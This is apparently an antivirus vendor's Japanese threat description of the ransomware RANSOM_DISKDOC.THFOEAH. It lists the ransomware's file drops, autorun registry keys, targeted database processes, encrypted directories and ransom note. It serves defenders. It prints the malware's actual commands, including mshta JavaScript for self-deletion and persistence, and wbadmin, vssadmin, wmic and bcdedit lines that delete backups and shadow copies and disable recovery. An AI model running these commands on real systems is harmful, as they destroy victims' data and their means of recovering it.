RANSOM_DISKDOC.THFOEAH

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、感染したコンピュータ内に以下として自身のコピーを作成し、実行します。

• %Application Data%\Local Security Authority Process.exe

(註：%Application Data%フォルダは、Windows 2000、XP および Server 2003 の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞\AppData\Roaming" です。.)

マルウェアは、以下のファイルを作成します。

• %User Profile%\HOW TO RECOVER ENCRYPTED FILES.TXT
• {Encrypted directory}\HOW TO RECOVER ENCRYPTED FILES.TXT

(註：%User Profile% フォルダは、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\＜ユーザ名＞"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞" です。.)

マルウェアは、以下のプロセスを追加します。

• mshta.exe "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('{malware filename}');close()}catch(e){}},10) -> delete malware copy
• mshta.exe "javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('Local Security Authority Process.exe').Path;o.RegWrite('HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce\JMAHRDUU',i);}catch(e){}},10) -> create auto-run registry
• cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0 -> deletes all the system state backups
• cmd.exe /c wmic SHADOWCOPY DELETE -> deletes shadow copies
• cmd.exe /c vssadmin Delete Shadows /All /Quiet -> deletes shadow copies
• cmd.exe /c bcdedit /set {default} recoveryenabled No -> disable Windows Recovery option
• cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures -> disable system's trigger to call the Error Recovery screen on startup
• %System%\cmd.exe /c start /max notepad.exe "%UserProfile%\HOW TO RECOVER ENCRYPTED FILES.TXT" -> display ransom note
• mshta.exe "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('%Application Data%\Local Security Authority Process.exe');close()}catch(e){}},10) -> delete malware copy

(註：%Application Data%フォルダは、Windows 2000、XP および Server 2003 の場合、通常 "C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞\AppData\Roaming" です。.)

マルウェアは、以下の Mutex を作成し、メモリ上で自身の重複実行を避けます。

• JMAHRDUU

自動実行方法

マルウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
JMAHRDUU = notepad.exe "%User Profile%\HOW TO RECOVER ENCRYPTED FILES.TXT"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\RunOnce
JMAHRDUU = %Application Data%\Local Security Authority Process.exe

他のシステム変更

マルウェアは、以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\JMAHRDUU
idle = 1

HKEY_CURRENT_USER\Software\{5-random characters #1}
{5-random characters #2} = "o=new ActiveXObject("WScript.Shell");o.Run("cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0",0);o.Run("cmd.exe /c wmic SHADOWCOPY DELETE",0);o.Run("cmd.exe /c vssadmin Delete Shadows /All /Quiet",0);o.Run("cmd.exe /c bcdedit /set {default} recoveryenabled No",0);o.Run("cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures",0)"

HKEY_CURRENT_USER\Software\JMAHRDUU
temp = {Encrypted malicious code}

プロセスの終了

マルウェアは、感染コンピュータ上で以下のプロセスが常駐されていることを確認した場合、そのプロセスを終了します。

• agntsvc.exe
• isqlplussvc.exe
• ncsvc.exe
• msftesql.exe
• sqlagent.exe
• sqlbrowser.exe
• sqlservr.exe
• sqlserver.exe
• sqlwriter.exe
• oracle.exe
• ocssd.exe
• dbsnmp.exe
• synctime.exe
• mydesktopqos.exe
• agntsvc.exe
• isqlplussvc.exe
• xfssvccon.exe
• mydesktopservice.exe
• ocautoupds.exe
• agntsvc.exeagntsvc.exe
• agntsvc.exeencsvc.exe
• firefoxconfig.exe
• tbirdconfig.exe
• ocomm.exe
• mysqld.exe
• mysqld-nt.exe
• mysqld-opt.exe
• dbeng50.exe
• sqbcoreservice.exe
• agntsvc.exe
• isqlplussvc.exe
• ncsvc.exe
• msftesql.exe
• sqlagent.exe
• sqlbrowser.exe
• sqlservr.exe
• sqlserver.exe
• sqlwriter.exe
• oracle.exe
• ocssd.exe
• dbsnmp.exe
• synctime.exe
• mydesktopqos.exe
• agntsvc.exe
• isqlplussvc.exe
• xfssvccon.exe
• mydesktopservice.exe
• ocautoupds.exe
• agntsvc.exe
• encsvc.exe
• firefoxconfig.exe
• tbirdconfig.exe
• ocomm.exe
• mysqld.exe
• mysqld-nt.exe
• mysqld-opt.exe
• dbeng50.exe
• sqbcoreservice.exe

ランサムウェアの不正活動

マルウェアは、以下のディレクトリ内で確認されたファイルを暗号化します。

• {Fixed drives}
• {Remote drives}
• {Shared Folders}
• Microsoft\Exchange Server
• Microsoft SQL Server
• Firebird
• MSSQL.1
• Microsoft SQL Server CompactEdition
• Adobe
• Oracle

マルウェアは、ファイルパスに以下の文字列を含むファイルの暗号化はしません。

• :\$RECYCLE.BIN\
• \All Users\
• \AppData\
• \Application Data\
• :\Program Files (x86)\
• :\Program Files\
• :\System VolumeInformation\
• :\Windows\
• :\intel\
• :\nvidia\

マルウェアは、暗号化されたファイルのファイル名に以下の拡張子を追加します。

• .DiskDoctor

マルウェアが作成する以下のファイルは、脅迫状です。

• {Encrypted directory}\HOW TO RECOVER ENCRYPTED FILES.TXT